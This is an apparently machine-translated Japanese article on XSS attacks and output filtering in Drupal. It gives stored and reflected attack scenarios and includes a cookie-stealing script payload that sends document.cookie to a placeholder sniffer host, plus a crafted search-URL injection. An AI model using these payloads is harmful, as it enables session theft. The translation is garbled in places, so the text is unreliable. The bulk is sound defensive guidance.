(p2。 クロスサイトリクエストフォージェリ ; p2。 データベースの操作 )
確かに、XSS攻撃はSQLインジェクションとともに最も人気があります。 彼らの原則は恥をかきやすいものであり、その結果は、ページの出力の無害な歪みから、攻撃者がサイトを完全に制御できるようになるまでさまざまです。
いくつかのXSS攻撃シナリオ
定常攻撃
- VovaはPetitのサイトにコンテンツを作成します。
- Mashaがこのコンテンツを閲覧すると、Vovin XSSはCookie Machinesを盗みます。
- これで、VovaはMachineセッションを使用してサイトにアクセスできます。
- より多くの人々がこのコンテンツを見るほど、攻撃が成功する可能性が高くなります。 サイト上で競合するホリバーテーマを作成するなどして、最大限の成果が得られます。
- コード
<scrіpt>іmg=new Image();іmg.sr="http://sniffsite/s.php?"+document.cookie;</scrіpt>
。 - スクリプトのもう一方の端には、クエリロガーがあります。 攻撃者はこのログからセッションIDを選択し、被害者のCookieと同様のCookieを作成します。
- これで、攻撃者はブラウザを使用してサイトに簡単にアクセスでき、すでに被害者ユーザーのアカウントにログインできます(被害者のCookie)。
そして、通常のアカウントで攻撃者がこのアカウントの権利の範囲内で危害を加えることができる場合、ルートアカウントの所有権(ドルパーラーの90%がその下に行く)は、頻繁にバックアップを行わないドルパーラーの60%でサイトを文字通り殺すことができます。
揮発性攻撃
- ジュリアは、アーメドによって書かれたサイトを使用しています。 アーメドは、ユーザー名/パスワードを使用してサイトにアクセスし、そこに個人データを保持する機会を彼女に与えます。
- VovaはAhmedのサイトをスキャンし、XSSの脆弱性を見つけます。
- Vovaは特別なリンクを形成し、ICQ経由でジュリアに送信します。
- サイトにログオンしているジュリアは、Vovaリンクをクリックします。
- XSSが開始され、ページリンクに関連付けられます。 (ここでのすべてはすでにアーメドの曲率とVovaのスキルに依存しています。CSRF関連の脆弱性の使用である可能性があります。情報、またはクッキー。
リンクにリンクされたXSSとはどういう意味ですか? 非常に一般的な例は、このコードを使用した検索フォームです
<input type="text" value="<?php print($_GET['srch']); ?>">
さて、
site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.sr="http://snifsite/s.php" +document.cookie;</scrіpt>
と書くと
site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.sr="http://snifsite/s.php" +document.cookie;</scrіpt>
、このURLにアクセスした各被害者からCookieを受け取ります。
XSSからコードを保護する方法は?
答えは簡単です-ページへの出力をフィルタリングします。
Drupalのろ過方法
データを扱う際の黄金律は、データベースにユーザー入力を送信された形式で正確に保存することです。 したがって、すべてのフィルタリングは、ユーザーデータをページに出力する段階で実行する必要があります。
すべてのユーザー入力は、次の2つのタイプに分類できます。
マークアップのないテキスト(プレーンテキスト)
クリアテキストで送信する必要があるユーザー入力は、 check_plain()関数を通過する必要があります。この関数は、引用符、アンパサンド、不等号括弧をHTML表現に変換します。 次に、そのようなテキストは、ページの最終的なHTMLマークアップに既に挿入できます。
ほとんどのテーマ関数とAPIは、パラメーターで文字列を受け取り、何らかの方法でフィルターします 。
-
t()
:この関数では、いくつかのタイプのプレースホルダーを使用できますが、これらは異なる方法でフィルタリングされます。
- !変数-変更なしで挿入されます
- @variable-
check_plain()
をcheck_plain()
ます。 - %variable-
theme('placeholder')
通過します。
-
l()
:リンクテキストは、$html
パラメーターが明示的に設定されていない限り、常にcheck_plain()
を通過します。
- メニュー項目とパンくずリスト :見出しは自動的にフィルタリングされます。
-
theme('placeholder', $variable)
:(デフォルトの実装では)受信パラメーターはフィルターされます。
- ブロックの説明。
-
theme('username')
を介して表示されるtheme('username')
(デフォルトの実装)。
- フォームAPI
#default_value
および#options
(#type == 'select'の場合のみ)。
フィルタリングについて決して忘れてはならない場所があります :
-
drupal_set_title()
設定されたページのタイトル。 ページの本文の見出しは自動的にフィルタリングされないため、ユーザーは<em>
などのタグを使用できます。 これは<title>
タイトルには適用されません。そこからすべてのタグが常にカットされるためです。 注: Drupal 7では状況が変わりました。現在、フィルタリングはデフォルトで実行されます。HTMLヘッダーで送信する必要がある場合、drupal_set_title()
関数で対応するパラメーターを指定する必要があります。
例:
drupal_set_title($node->title); //
drupal_set_title(check_plain($node->title)); //
-
hook_block()
を介してhook_block()
ブロックヘッダー。 ページタイトルと同じ理由。
- システムログメッセージ(ウォッチドッグ)。
例:
//Drupal 5:
watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS
watchdog('content', t("Deleted %title", array('%title' => $node->title))); // @
//Drupal 6 (The message and variables are passed through t() by the watchdog function):
watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS
watchdog('content', "Deleted %title", array('%title' => $node->title)); // @
- フォームAPI
#description
および#title
。
例:
$form['bad'] = array(
'#type' => 'textfield',
'#default_value' => check_plain($u_supplied), // :
'#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS
);
$form['good'] = array(
'#type' => 'textfield',
'#default_value' => $u_supplied,
'#description' => t("Old data: @data", array('@data' => $u_supplied)),
);
-
#type
がcheckboxes
またはradios
と等しい場合、#type
はAPI#options
形成します。
例:
$form['bad'] = array(
'#type' => 'checkboxes',
'#options' => array($u_supplied0, $u_supplied1),
);
$form['good'] = array(
'#type' => 'checkboxes',
'#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)),
);
-
#type
がmarkup
と等しい場合、フォームAPI #value(markup
が#type
デフォルト値であることを#type
)。
例:
$form['unsafe'] = array('#value' => $user->name); //XSS
$form['safe'] = array('#value' => check_plain($user->name));
//
$form['safe'] = array('#value' => theme('username', $user));
-
マークアップ付きのテキスト
ラベル付きテキストは、 check_markup()を使用してフィルタリングする必要があります。 この関数は、テキスト自体に加えて、フィルタリングルールを含む入力形式を受け入れます。 したがって、マークアップを使用してテキスト用のフォームを作成する場合、複数行フィールドの横にウィジェットを導入して入力形式を選択することは理にかなっています( filter_form() )。
check_markup()
を通過したマークアップテキストを表示するユーザーには、選択した入力形式を表示する権限が必要であることに注意してください。 デフォルトでは、このチェックは常に実行されます。 ただし、コンテンツは通常、このコンテンツを作成したユーザーよりも低い権限を持つユーザーによって表示されるため、これは必ずしも必要ではありません。 そのため、対応するパラメーターをcheck_markup()
送信することにより、出力の権限のチェックを無効にすることができます。 ただし、このコンテンツを含むフォーム自体を送信するときは、 filter_access()でこれらの権限を常に確認する必要があります。
URL
- 関数l() 、 url() 、 request_uri()のurlの主要部分は既にフィルター処理されていますが、GETパラメーターとアンカーフラグメントのフィルター処理は自分で行う必要があります。 これは、GETパラメーターで
#
記号を誤ってまたは意図的に送信してもURL全体が損なわれないようにするために必要です。 urlencode()関数を使用してフィルタリングします。
例:
//
l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); //
l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); //
//
l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));
- ページにurlを表示するとき、 check_url()を介してそれを渡します。これはcheck_plain()を呼び出すだけでなく、urlプロトコルの正確さもチェックします。
例:
//
print '<a href="/$url">';
print '<a href="/'. check_plain($url) .'">';
//
print '<a href="/'. check_url($url) .'">';
- 関数l() 、 url() 、 request_uri()のurlの主要部分は既にフィルター処理されていますが、GETパラメーターとアンカーフラグメントのフィルター処理は自分で行う必要があります。 これは、GETパラメーターで
-=ボーナス=-
前回のDrupalconのビデオレポート「Introduction Security」:
ビデオをダウンロードする(226Mb)